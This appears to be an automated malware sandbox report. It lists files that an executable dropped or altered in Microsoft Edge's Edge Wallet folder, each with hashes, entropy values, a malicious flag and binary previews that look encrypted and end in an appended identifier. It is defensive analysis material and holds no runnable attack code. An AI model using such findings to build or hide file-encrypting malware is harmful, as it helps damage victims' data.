Preview:	{. "...u./..{...,.......cb2P.D..\|.9._.{....h..-...fi..sy....m.u6..2^=....i"..,\.U......}J_.......PE-.w.e._!L..=....S........;.t.N..U3.!~.....b...{..o\|...Y...1..?....U.b..4e.......{K..Ns2..I.....vR'.Q.D,8K.......@...'..........k.y....p.Rb.6..Y...[I...1.uS..M....~h.Y....B.D....D...o..]...w......3....#q_.5.11.L$..'..QO..?5....#FQ.[...A.].KB1^J.p.`6...5..tN...da..N.R..I.(.u...~......O'.$83".}...7.T.=.kw...).....j.c.....K........M. ...U_.R........@.&..i...pu.ZrH)..X.....11\|.JDpx...g!..S..'.+.../..<.%}@A..I.,A....s..N..rh...h.jO.....uY...+..7....F...,..%..f..n..,.4.H.....u%.hX.".sd..%...T....\.[....{..\|..`-.>?.$8b.i.!w.0\|..e.....%...C...%.....f..f..............{Q^.SW.j.9.S...O.mf..`9..1j.:. h.d.....9.:$._=..(e..DArssObF.F...k4....,..X..R....\...];. .O.......dO..-!..l..e.q...;J....mGI.m.....l-cO..[.H..1...?3NX.!....@tv...m...a.e..VK...7uI0[.(..hd..j......1........sb......iE}.[.V`..g..%..,.T...n..m....v...H<.13........Q...!.&.....M..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-stable.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2333839
Entropy (8bit):	4.657254660871921
Encrypted:	false
SSDEEP:	49152:v0CwbfSFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEx:vd6W
MD5:	D20945D190E4F3FE12D7EABE13C9EA6F
SHA1:	536F7A23012A993CA0562FB0DCDD71E7CB55E43C
SHA-256:	9F6A14A3CF8B82535F468DDCA65D781D433A11151DA9BF80A2157565B1A4AB4C
SHA-512:	A25872825E25306C516D601768FFBA0E4757AED8124753F5EF78A6502ED88134DB3498D7F226CA05219EC339F1A957E2C86F802AB8D30FC0CB184B150EFE4265
Malicious:	false
Preview:	{. "..-;n....>Dx..2.m......0..h....d...A.........m~..#.....#@l.K..D..........M0\.O-.......p....C..y........dn.].....0........[i..'0.!.E...;.g...@K4MjBx;...>..=......Q.d2D=R.i..k...(...I..:.S.<..bT..>..5.(.C...........,a.RY.iYl.f....8..\|.BIkw...o.3..\.t%.!..~..Dm.Z....>......I]...M...?.N_.?......)..)JCuJ3nv._w.L...CS.3.)i!,..ZZ/$...."..P.z..L.'..3../CaIc`}.#.T.......1.!R.BT.].fU.@..f.3.Y.V.9.....A...T.l.]..o..Dl!.i...SJK...S.r.........2Z..W..h.[...U..s.#0%._).=..EH.S..u.d..,...Z/#.g..5......e K....7....q..d.M....8.d..Wix.[.E..[.r..:..L.0r.V_".2."-..V..l.y`.....S.}K)vC.Mi...^.p..(_...^.L....8.<kN.)It<+.n...Z...d..B~..K}...N...2...C.....N/i7&.v.<I..Jk.qAX.A.............N={,..9.{.....1....7CY..e.3.?....9..v..x..e.q.-.7....=.VL..#......]..5.3........E...6.....c.4.......K.)..#..6...9..3..I...H3..k.8.?I..gY.,.y......Q%>5N..-..s.Lv .>.2.+N.W.Y..E.k....H....2.+O..s.'Z..XM...;...&Rl.....}.^-...H.m"..bN....~2=...r....E.)@.,...._.<GZ..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24582
Entropy (8bit):	7.99359907069438
Encrypted:	true
SSDEEP:	384:op5Dvf5zW5FFxMbWjmuwkLeGHYpp46GJJbCNVmXYDOhwjbfdfi9acNU8ymErF4:Qphzjt+Le1I6GuNVwYzdfi7G4Su
MD5:	34642FD7DAA11ECB48B6F839D810865F
SHA1:	96D4B93C4A5A75708A330D76F65C0E52815F3BCB
SHA-256:	AAE68CDB57844BD0BEBD84BD316B6FDD406C7BD30CC9BF4B4A02AC23AA0A6C57
SHA-512:	3D24CB7F683E258D5EF9F52B9728231E935D4FFEA6021FC20AB11F3652069568594C764577F5A2BF59017D20D87020B30B1B63CF36747DE51FB173CF6451AB13
Malicious:	true
Preview:	{. ".!.i..H..4.F)........Z.........qs."...._Q....0-YK...>:.{...<..>.{b...~n.m~.'HW..$.@.........+...>:98..I^..Cg............}.O.YtG...A\.w.)"Gk...z$.i...<.{B.g,Ms..^..T..b.."F...m....g.&..s.. ..;J..tg..X..%Z,..._..o2..._;/.B.Y.\..0.\......b.e.......-s....?J.S.V..?...c1.....8]..(7.'.u........S...W..-3....e....MV.8<.3.\|B....Tq...,.rh.. .Sz.U.}.4.Z....m-.".C.~.5`d...Py........[..UQP.@@'....>@...y.[1.... mgum...CD.....D.f.L..n$0..u`.8,.^.XOYF.g.7.......$.\|;9.X.D....r+.m..5.^u..9.L.c.....6....\|.;>1...Y.:]....Y>4................CM...1K.&n`.J...1,..l.......v...\|...bv.vVX....JG..F.....p...."..kw.b.o.j.:......F....Eo....:..........i..G....k..A!.r.r...H...x'.....=.$.t.<.bn-...........>=v.l...E..%..^..C..W.i..)K.y......E..gbG.>..4...}#q...tVCcA7.v@.p.7...^.D..?..s2......c..P.g{....y.'m..f.z_.z..8F+e.#-.?....;...k......!.Nj.hj.....1....af.1l....i-R..F_....'i....4..p7.FY......+.........."......h...a.J.XM./..."..^I.6EDhq..9...X.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\load-hub-i18n.bundle.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1666
Entropy (8bit):	7.875289470419045
Encrypted:	false
SSDEEP:	24:0WToMsnUQ8VSucRZbddfxp4LLaR7LXWr3/pdBidYmoHrXpLTTg14yH7pwrCEHBTF:0BVjuIZbdri7D/pdgYmkjg0pRm4JD
MD5:	1ECC6968A3199A0460D9FEDEF6EA62E5
SHA1:	5EA7847AC4AA6AEB37CAB32720DC14EFA9297D3F
SHA-256:	866050D96632F9BD392902F8138E8A604AA78CD3F29F449442D1C51A87A59096
SHA-512:	04D0244EA6D1F7649076391106DEA5CECAA2BC7D6E7A756E72C93AFB2F92DA510548DCEDEDF2DDBF1063289021DB6A80D4BD4DABE7A64797B5E770733204B30B
Malicious:	false
Preview:	"use .S.aA...+..a....gu.:........f....`a....y!...v[C..>.".Y.F&.QQ.%..jE..c.........o{J.{..t....+a.}.p.f)$....y..QX...:..lEW.....tO:.B. X.B..wo...?G...V..L....w.c.o..{..X.y%..JA0L...B0#h.=...W...@...%._..!....M.t..c..}<.a.D........-.}ba........~G.^...;..j.qSg........x..g.._B.Mx.P2.\lj..n.G.h...O..V.R).'lY....~.e..z. .ZY0Z>.[]...EE.SQ...".j=.-!...}.Y.aE.M..Yv...+..]..I.$7...`[.S.....\|.rr:...6.O....c{......BG.f.F....?.w..I-...G..5.e...c.du)7...D.3..^.rb..n....D.S...B..d.v.#...."..$........2.#).#..=.e..D(.....$!..[.~............Z...E......>f=e.....k.<v..D...D.....#.op5...4...$k%..\.DO....K...F.......-..-5$.22...1'.8u.%S(...'e.\dA.q..5@A.F462chc.F...U...........n.4..g.x.l.xb\|....7.a....V.....L&p....V....)B...z..!..u...}al<.... ..U..Gd...k....Cu{..r...#,a`.].N..`Qh.9.Yc...j.......o\....$".y..v..a..G....C..hm....>.....O(.?r."....k...y.<.....q..U...(..XHQkNJ..7..C..M\...a....+=.4..sn...L.C.H.JYJ.hGO...e5\"0t...Z'J.rk5.....s.uA.C.+!.Rv.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.325401503946855
Encrypted:	false
SSDEEP:	12:lvx/JnLq4EwYRk1m1duv8O7tzRuUrqMMWV9M2cii9a:D/JLCwSytz0mV9pbD
MD5:	4895E1A844B878B7BDF957582BA29D0D
SHA1:	336AAC6FE9752DFED52E72979FC19804CC8A223F
SHA-256:	D275A6A69C0A720430A0B26DD1B381F2D2961023FE6CF387850D6C6718608857
SHA-512:	CCBE019165147F731E40A1CE79EC16DC431C869127E166E2AB5888CBD946AA5F9DC3E22BC613CB72AF5FA565F63FFC548D6C3F5176D78D30DC557CB615EC166F
Malicious:	false
Preview:	1.D38....U.~.k....y......>O.8]D........J....PT5l"Mz..}..t.MQ...QeDm.J.+P../...$;.Nt..Ga7.V9k.\|...F]..\5$...<.<hm..../....S$..ok..!$b?..xX....].$..\|....J4._.o...@...E.2t.$......M.....E.x..&.[qN.r.....X.V...f.+.....^...8!..z..x...&..Q.0N.>uy~.i*.C(.e.Z...5.. .....&}tJ/....$..i....WT..g.3.m....a#.Z.>...k.j'$xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	456
Entropy (8bit):	7.526958375156948
Encrypted:	false
SSDEEP:	12:MZrNtuR/KdiXJYABQuil81DybMU6hC9M2cii9a:MjceGJSpWDybMU6hC9pbD
MD5:	5C585529C1A99845AC7DE3D3EB5892C1
SHA1:	2767C1888EF06D3514E07CF531731DBF5A24C467
SHA-256:	AC73F8262EDA0D964D7B287F5EA989876899E91D7978AF5FE581C5446219CA00
SHA-512:	3E58D392B237C17BB89FA65B1E24023EB6F3C70393F4C127D0CBD9FC61BDB627D5B2AAD1EB82EC1E25B2D2546087509AADC8226026A52D9485DA9F899F19A46B
Malicious:	false
Preview:	.{.].:...;..i...Az...%..Q.R.......~......N.A.T-31....P..`....W......_>:....X......%.#..."~....=..M.E.-C.z....:.JEn.@(..Yq,......".b.....G....qf`....n.s....i".bO..k..2O].....Yb2...N.........c.>..+.y..I.......N+t`..*....`.e3..Y=.....}%.:.Mw..$#..Y...g....Y...R....z.........&...p..9.{.a...C.1......9....X<..l.V..5...W..r.3.....I.bf...If..@..>^...........xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\manifest.webapp.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	653
Entropy (8bit):	7.631348224376815
Encrypted:	false
SSDEEP:	12:h9pZxk7s9TLCJo+zACVNu4sZnDYJiuAzzFfoQiU1SOJCN6FNy9M2cii9a:h9tTm++ft6DYUuAx1SWCN6FU9pbD
MD5:	0FD8F251F5409655058656CF6C7E458D
SHA1:	8CB9D92F6D1AA61C75E6C8EAB13D693046DC7933
SHA-256:	07348A16F3610993DA239DE4F39FDA08FC5656D2480E8717CF90D65B6C13DB8F
SHA-512:	4C6E90E2140A2CD25E0DD067AF55BEDBA0BA12F751F18F45367EF4F710C4F39A997D428D7DA520914719D6E4814713CFB113C432322BB8FA187A9D844FCB33BD
Malicious:	false
Preview:	.{..>W+.A..3.0.k..."+...5...1^...B][5.....H....^..]....G....... .yl........D........e)..m.~@..Fh.O...'..[..gwh.q.K\.).}=.#UVT.a...]"__\\.+}>..f.HC.P...D.>T?g&.y.....d7.]..?........'..H..z..y&Q....E.Hd..].}.....\|...b..ZK.K.......Z....%.e.H;..V.,!..$.1.Yi].&.I.......-..#....~[\|..O=...Ks.........lY%h.j#...H....,..E..4i=z.F.}.#\..X7...I[/.#r3b...O.Br8F...G,..KbY....O.g...X.....yY)q..T.c.B.L..@E.}1j..B{.d.c...S4V.}..O................6.........t..Iq;^##......wE.;....i....A.~...Qq"x).6.n...I..j..}wr.]..Ok..(..y[?4.(q{KE...J.23-.)..<.{.0l..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\runtime.bundle.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2476
Entropy (8bit):	7.923459102416088
Encrypted:	false
SSDEEP:	48:/612skqxwuxRT4RNyWyTel0Otp3llEJPLs/4j/lDEthVWu/T25nFaJJD:/3qxLxRT4RAW/5XlEtY4j/lDEJP/KnF2
MD5:	379F2F161F40E6C2D16B898F2C2060D3
SHA1:	419F8A75834BBF598C1A53855EF52BF0F53912E3
SHA-256:	C2F6E7F2EC9A94B731E203A92A8C6950616279E7E699A62C8FE34F2788C14E4A
SHA-512:	E181AD7CC73A195CF3E53124C18409AC568CE99A3D1F29001BD000869C020041413A6301A406B9172676234B4921A7F86FD748F68F64CDA3BC00E18E193530B5
Malicious:	false
Preview:	(()=>p....>.uV.....W.7..".VM......I...2.+..F.B....5.vD.]...T.~....j..l...(!.c.D.....h..N.V.Xk.......k.F...X...}..,....j.....>.x(.NP....{)...I......k.i..K.vR..........^...H..c..Av.1t.1Xc...%XZ=.j.u.Q.EVH...p-&..."r2).L.....E.c..'Z...i.......A...ay.._..L..b.!.W.. U........pk.>'Y(..y.<.I..xe6B...S p..SH]..i/......._E.UX..'Ns).&..].....z..AMpNp..=]....}Z..G...~..ND..7....!$V1Y..,.[....._..TA...).,..{.`Yotswd..YT>..u.)x.....Ze.]......b.......V..6q.18?......_..P..\..zWw.e..s/.U...v..;.r.C./....}\r..rX...u{../j.......H..rMK.9..s..u..4d.....5t...nZT...G .Z../.....c..D.c..H.....4.-oe..GYot......._5..._..(......"i.c.oRN....{!.~gvz._..@......kP.8J...`...]..#.I.>..c..a./.`..07...asx...o7.a.[..HN4nC..?....EX..8I.S.Y.z........ ........-.>.'C.D...;.U.5...H."...=I{{...0b.E.v.....([......7i...Nj7.fF.3........$.<..UApxp.E.......%G~~^.Tn_.\...~.j...'.t.V......)....I>.u.&....\|"..c.)$..I.h.w.Ixf.}4.V..fz..[._Np+.D.p.b...s`.^..,(..d.."G.P.C.$....eJ../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	28957
Entropy (8bit):	7.9930378238743875
Encrypted:	true
SSDEEP:	768:mqW3Je01pYo7DaPNLa/GzVo1Di0liBfwxehWb:mqW3JeipYBNLgGZYhNb
MD5:	213E763CC074B5C5462D22CC1C3CD28B
SHA1:	2A1879AB9628BCAD0EEEA8E28D0430AC9FD6052B
SHA-256:	F0D9D947BD6E4BA795362C02F7301109C57793763987D5BE6475A292B3055B68
SHA-512:	26106E2634BBE5F6C9A2CDD0F61E43A0F9DE723007FD55ABC9E3636E827C3780292742534127481303EDA4E5A867E6CC321AF41CCF6624D404DD94D7752B0F02
Malicious:	true
Preview:	!func.\|.....ym...w.\|....T..R....o..o."...F....)...3A.!~;.)x..QE6..W..8rL...9`....V=.....i..6FF8.U.:6....l...r.\..o!.....H.f...Qx`....I/p..V'..".+".d....7..u0....`._.cXrsH..?.Wn..m....Rw..a.g9l.w..../......+/....4.....4&.R...J......3/G..t.2..V...U.).....J.\|..^.>...pktJ(..=......~...Bl.&.^....1&......m.G..M.ZhC..&V1mL.n.}q......z..;l.&..k.o......(.SD.'.A,..`..../.G..$M........>...v.BT..\.l.M...(..P..vL..t..6....F..#..tB..=..M ?....!..rP.6..cV.....6.0.../!Y......].......]...]V_....:.d..e.:...x....&.T..E.@.q.....u........./..s..p.g.0.%.#..6.........}.....h....m.SM.R..... RK..Sjl.E...#.)G..ZG....~..@H..6t...i..u,.XE`.K.....w..O'...p..?..h.j)&.1...R..>.nj7...V....t..8../...'.mol.!......&f.h....^....W'..h.O..O..CC..O[..mmo\|q..UQ.t.va.......,h..6mEB..i...Ev.......]H.........V}l.:..d5nr....1...@.. VM..\X.';+.;i.zO......!....c$."..{.6.....\...a..'j...Z.!..U@c.{p.i8.,....}.J+.$jN5=C......R\|.Y.p .C..V......hI/....x.....x......y.p..;.M....1..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1441267
Entropy (8bit):	6.074811568393073
Encrypted:	false
SSDEEP:	24576:CTsxeYjuxvUMriDrhm0YOR/jnKZ2FWsfI0fYFQhMjh5AkJSe3J3kJTEjucy2fQHM:IAeYjux8MrYpYOR/jnKZ2FWsfI0fYFQY
MD5:	553664193A051D9A2C339D14950DF63E
SHA1:	77FDA6F8A8037B6904B697883593E930F0572E33
SHA-256:	3FAFEF3D06AFC731EDDCDEDC6C37B43E6D7F99CCA29F21D3308D25B5E16C9F9C
SHA-512:	7B4A8C89AFE56E48BFBFB391E15AEDD69356E8731ED3BC2201E75F78288CCE65C053556E4DD4FD401119F3E558E6A02A9AA0582FF6F1A5CA0F889E9FD85C5615
Malicious:	false
Preview:	/! F.....oH..t{v.....@.0+.....O..9h.s.X=j...3.w....b...A3-....1b;....x..Lu.v..a.!\W..X.TD9...+ !j..R\FT....i..h...k.q....Z-...Z...!F.+..._._o..wg..._..%..)HN.F....y..j.#r..6..W....\| ..__.....ot....W.....]e..0&...7..50.d.....\|. HVt.F.......3`..Q..W.[..W..L.......'..'bo-D...........;..Gb....J.`..y..9q...<....8..#.13}.......O.....?.?F.5...6.......)...z.w..a.p..rW.S pk.Q...)q)...F....../F.AT.Cg.."....p.I...\|W..X.....I..U.....2..Ep1R...Z..............`m..s.V[e.,}..(..h...`..jb...<..K....U..gk0..2...D.L^d..v.S"....%.m...;...._-........{...}....]F.H.......m.a...1....)..3.l@...x..^C.G.....U.pA.<.5.-b....P.....bf.0.[..C+.@..)...y.....ADq......6.W..k ....~.A4}/....m...5.r.TM.;...-..3..%....C.......i.l_.61.a)...".:Ep&.S1:.<.9...^..H.V.L......P.I/$......`.>......!......2wv..;0........x4..@fe..'..[..7.2@.AUF.f.$. %...O..(.S.....&x"..Eo..sU......M.\.Y.w.n"(/..c..MNe..K...?..r.]......bl.H...7...........!UiUZP.]6~n.v..M..3....C..K~+.. .."..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.LICENSE.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2964
Entropy (8bit):	7.9320524516237985
Encrypted:	false
SSDEEP:	48:QRCK54tkndrDv6fx25s+iE6aO+rMp98g4xFAS68+Fg9ZEy0QQlsGBcN/Lt1pJD:lK54OdrO4ubV+ru986xM9ZAvBan7
MD5:	35E17E1DA70F7597E818C207E424A336
SHA1:	DDBF9B91C10F969E02581D6EF179E0DA244CFD33
SHA-256:	8009AC3CC6E4551300C50F012FCED8D14C1514B8B909FCE8DA9616A23CE95BDA
SHA-512:	4C7E35EB9EC2FB0511E2A62D7E3ABFB300584BA3D46068A6100C2D750AE6987A8DA4CB985888B177AB7F0E60767DF649D822F14ED933E75B5E94A2B1D25AA906
Malicious:	false
Preview:	/*.ob.W.d..;..W..sn._.R[p.p^.U.,..........D......x.3..cY.`...gg..Z(>.)..tz0.....G...>..5..^%.z...\|....D(N)y._....E}.}3.....].....r.....WU.?.o..z^..'...S.X4.\|...iky.Y9.E\..SZH.k...r.../?.)B!..B)M.H...yf3..d...p...I.?.}.....\......8...UJ..O4.b.......s-z...e.O.~...H.0J...[.Uv.....t.......Y.%...N?..zpI..n^.4k.4uN..k_.a.y.[...v.]....ejM.._l..KyF)..a....2.].,L....d.b....K...K%l.U. ..6..z.W......M.S..?..4...q.u.>......2.<..$j).j..@w...?..M...?..\|...3......8..-.P........2(7.....4...........7+C.AU..S0].t#...h....McQ....:F...M.y#T....s..V5I...Q.x.d..J5eQ..(l4.......Z.e....I...X........By=.HA.0...1...6...5.(pJs.u.P.......4.L.o.F.Q{{....X.zCx.G.$.Fi.....C.:..-...$.......'...$.).......!s.B.G...Mx.s..F.!..l.wv.6..a.<...`e3..l. .....wcW.!.+T.Z...(./.1..P..R..a.a/....m./K..8....U.....ar..^..lq.....F..7pp.p%=....n...m..;NV>~..]..mj....R........ (...?..K2n.8._A.........fbG....R.$..:...[.R:.....;....m.......1."....g......5..........d.R@..,..s.i...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-crypto.html

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2350
Entropy (8bit):	7.918290848640403
Encrypted:	false
SSDEEP:	48:Q13Naru8HzVhZF5sQhBfeSP53ZXU3nFWle9NF3zyTQW9CJD:kKuk5sQH2I5pX8FsezF3zykT
MD5:	CF2AD046DD10868EC418679FE77229E3
SHA1:	002A40C2D8B806EB800A40ED7A0C4C5B388A53EA
SHA-256:	4BB3E18D5D6A02B488F46B74BBEDA3840754FA56221D6B69F422863BA2615D44
SHA-512:	0FC622C7F3A77E6158D429DA818283AB5F527172C1ACB88377C5BAD040B6E1AB8779AD5F677DA1C5F32515687AF495FCE3FF8C1D1197747EED3D833F5BB15E99
Malicious:	false
Preview:	<!docu........7g..s5.,.....>.5.q.1.+...E).q.....R.>.~kr.).+}.nC..M.h.$.H..E........N....z.C...9bf\.@.~W.[..1;....qtl'.(.....k.Fm..E..........Y.%.."$....kj..U.J.g...$..T.!.>>....t.j;91...\b..b.p.....1..He.\|\|K./t...0...i${....u.w..)...X.L..c...eg.....G..M..t..V.N9k.A.).<q&(nuq.....OQ...H.....#`.X...H..$Q.B1%K...o_..N.\|nN]!/(.a..DE4hg.\|....}....)...p...ni......'%.h...V_...&..Y..#.I..........@......B.d..k..hg;._...#.I....v....8...].......k.....:."..4.....\..??/..p....I...e.r.:."....!.......6._...........U..x...Y..@.sA..h.F'_y...x'...Tf5.F.....f.....,.ZV...bn@.....jf`............."..........\..lV=...~............Q...3...@.W.."...U[....eh$.3........].[.4E..Q.o-.f...9.\q...@4-F...V..."..}{.m..v...\...a..0y.....A....L.n.9T...&.@..k'.I..1.0..>..Th1rm.9....:...=. ...9f.....O/]:...lP JF9..x.Qr.Z!J_.]../R..D.j.....8...OL..(5....'.@....+V.....O....:.../..`...U.xO;..Z.4,TD.2."...#...QQ.ep...p..6."....Q....-......q>.............sK...+.......C....#Z...z,a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-icon.svg

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2052
Entropy (8bit):	7.908636554591056
Encrypted:	false
SSDEEP:	48:3XeCtX6GZCmfcPqAP+UGKICezES/s4vtc9lR+JD:ntR/kPqAPRezES/c9k
MD5:	B2C1610D9E469A7B2AD708A9B93DC5EC
SHA1:	5E4D522A9EC2BF317EF61257EA74E6B3698AB1E7
SHA-256:	9A39FF97A422F736DB1C9DBDBEC046A90114DC278C490B75F0AEEC240B5B8B47
SHA-512:	108511232AD845927C07645F1F0FA81C389574D12EDB32D3EBF559B12CD3B2B82DD4729E543C510D0AD844DF70C9549600DA56AE1B02D9865E02BCE47481FECF
Malicious:	false
Preview:	<?xml.%..~.c......&..~... %.~......o......}.....tD.Gp<...#.....-.+.E.D.].X...z..........S.(l8....yu.4. E....\.jW....\...0d....]..sb.x.QK..3!...h..M.1n.-...mt.!..n...wKl.X?<."..J..xL.]..'.)...F...<vV..W.)&.......m.h.>O........t.B.>....b.....'..\|F..C....%C...R.....m..Lq.qj.....{..D...kP.^.]..t.`.j1pl.>C.d.....r.......+.....U.Q.1`>..,H...8?.'.uJ0.......S...6P),.!.G......%...%..Q=...C...RH..}.....n.%.uG6!m.OD.l....#..+%M..Nh...%2..a...Ip..!.....h....J.EA..`\|X..[....O..s.K.M..$}.GG....z...Un..}.n)PV.Qx.=.>.1H-...<.o.E.zT<... ..G......v./.......c...l.H..qE......f..,.q(+...k.{.$=c.v...A...v!o?p]....=.............".FO~.....(..".EKU}..Z...JU..{.C..=.^.:h..k!..)...AGO..{0.......iQ.}...Z3o....gV.b..}../...E....7\]+.x.bi.]A.....bc.>.I+..<......@....G.nf..1._.....<q..r.....7.o.v..'u5=..G....SgM3x.u.pIc....qT...o.t....m.g..g....5...K.~......<V...E<y.=.a.wI...z.k.v.....UEf..(..c6.....Gt.k..<....Hx.g`q.%."...H<VI......m.I..@..JV.A...Q..&h.[.is......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2937106
Entropy (8bit):	6.38968983457547
Encrypted:	false
SSDEEP:	49152:1/pIz5ufAD5J9OOzqrtP27f5FamW+kUbwqL/mQZ2S4Xwt8zH1LLp5XlFLKx3:Bpc3
MD5:	68D3BB761FA6F9A23643683E6C875CC8
SHA1:	E442809B237DFC59B62178692AC0E5C95F6A6712
SHA-256:	E77AA1F5EEF5509AA53AD4C947490199944A72E8C9D8A90764F907E181EFEE26
SHA-512:	3813E433699F9C75B7E63E6BA754C5AD8710477FC63E3EF527871259D9C14C1B2E7C8354FADFD2B00F8DB71F9CB4EB6405F6B355E700165C1E253B2CAAB56BAC
Malicious:	false
Preview:	"use t7.{-d.n.L..j.........j.....04.6.{4hX0pTE...S.`..ma......Gt...-70.H....QYW....,.......w@.........^...._.f.......c4h=...`F...z..b...+.K.7...3.......j.....kc..~@.f+......T<x^.w...t.V..~....~..1>.Ui..?.[E.R.....U%mm,RR...< 6..c.....b`.G..G.........A.p..,...v\.g<.....9...O.]E.....[.=.k....>H.]...5...{....f7..[.p..e2]u.gS...,z.o.'..Z9..G..p....u.a...\|..5Z..Y(.....kw.4.C'`..fi%.n..R\|7..[.S._.....7.O{S..r.K.g..qH.c@<L.....rT>.z......J..$..i{5Wn........l}.i...\|....'.!..4.....Z...8U;..........p..G..2..RK...m.n....v...c....\)>U..T...ZR.rN$.#..#....`.T..3K.....9.k.w....W4..\|. X=.......$7&(S..aN...i_b..tIUc.43........~Z.R{....E@<j.<.....zc..%.B..z.....@.5d.Q.L....pi.G...r..8.>.H'....Hj...Z...<.FB8.K.1.&l~.^tp.L7....j..f......,.~5Q..NH.CQ...=.x.Yv8..71;S.}.w._....&.a.....4.r_jI.HEu#.....i&.....\|..m.\|)E.....x..h.!...Z.+E...]_...f.(r.9.l..K"U.JQj!.....(..;$.#...2v.)}.l..c..d.x............-.@.pv`R....vJ...G<.B...0...)tI\|..R..s....2..l..v}...8..m#^.\..2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.html

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2295
Entropy (8bit):	7.904903871243427
Encrypted:	false
SSDEEP:	48:Bpe+yuP1/Zjxp357hbgWbM2c5aB8iGj3cT1iDUGA4WgtNikEmJD:Xhjt/Z1t575gtJYGj3o1iDUxNgtNJB
MD5:	B799CD88B3BC3B3693E34D6B0CF017FC
SHA1:	70B66214A462BB8C1530947935A917C08C168A24
SHA-256:	9B127E2EBE24C9818B56A408B61AC717E4C7C4416CFCF66B9B96F80AE9C483FB
SHA-512:	A5276231C703FD768C3D72AAA58C9BE1713FCA645FD86A08B1F8D5CB2973AA97F215439BEB365F98913C3369FD647B20C3B174C0FC5789BE2360C79FCE882001
Malicious:	false
Preview:	<!doca.x5N..{....Y.H-o\./....=..LBW\gH.....-.Q@..8...kK..9.S.T.".[..!.REn...{I.#.8..)..~...w]..P.T.~...."u>......._.O.0.m.d".9K.$K....1...G.u.y..I...a...c.{..y...d.:L..&.Yz..i.........)..,..Xw.c].....VO.u...A......OJC..o...M......K%I..\.d...o.d.\|.$...V.E....2'$y..at...S.\.?^....;.........`.$...~.....8...j...v..F...EE..:...:.....m...s\|.W..O%.-..kH<......pBI../>..=E.I...#.1.b.E:. h~]....)'...&w>..6P.k{i.q...,`..LL...H..6iv<X.1V.S....[;&.........a.#m.3....U6y...E.+.8J.70........H._..2...YB...X.....Y:.8bq..g..O..yc~..+......kl...E-.0.HX.`:....3s]....je.7g.....7siI.),...)..,..E]...y:.S...@-@.6..kC,......Zx......q...4.W4.8`c.O. .p1U0Q{.k.B%.>......~..J.o\|~./d\..U,..B..../v....$.b...i.;..}B^.A......aq..g..m.cGY.u.5..s.-.w.3;N.X......N7O.\..A.Uu.r.8.\|<.0...^K{.(.....v..."L.o.e....Ui..-....+.-.&.c....q._....$N......$....-."_pD.;q.xK.~X.B..d.s...AC"...I6.$.s.I.i......\..a.k.f....$.$........m..+...[~}.cf'._.t.:.....50.i&.p.....[. `>(5q.8*.O...H.j@'.kY..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet_donation_driver.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1199
Entropy (8bit):	7.837669264408416
Encrypted:	false
SSDEEP:	24:7ALY14fBfKra1c1ZZUlc4TCZ3CpgH1Xr7d9Ka/beLEiVyv09pbD:7ALYaByaiWc4TC+OJr7d9J6LEEyCJD
MD5:	8D265110D3A09CE112627343263AA7A7
SHA1:	F510746D0C41D67E2345C0146DB2CA54742F4D42
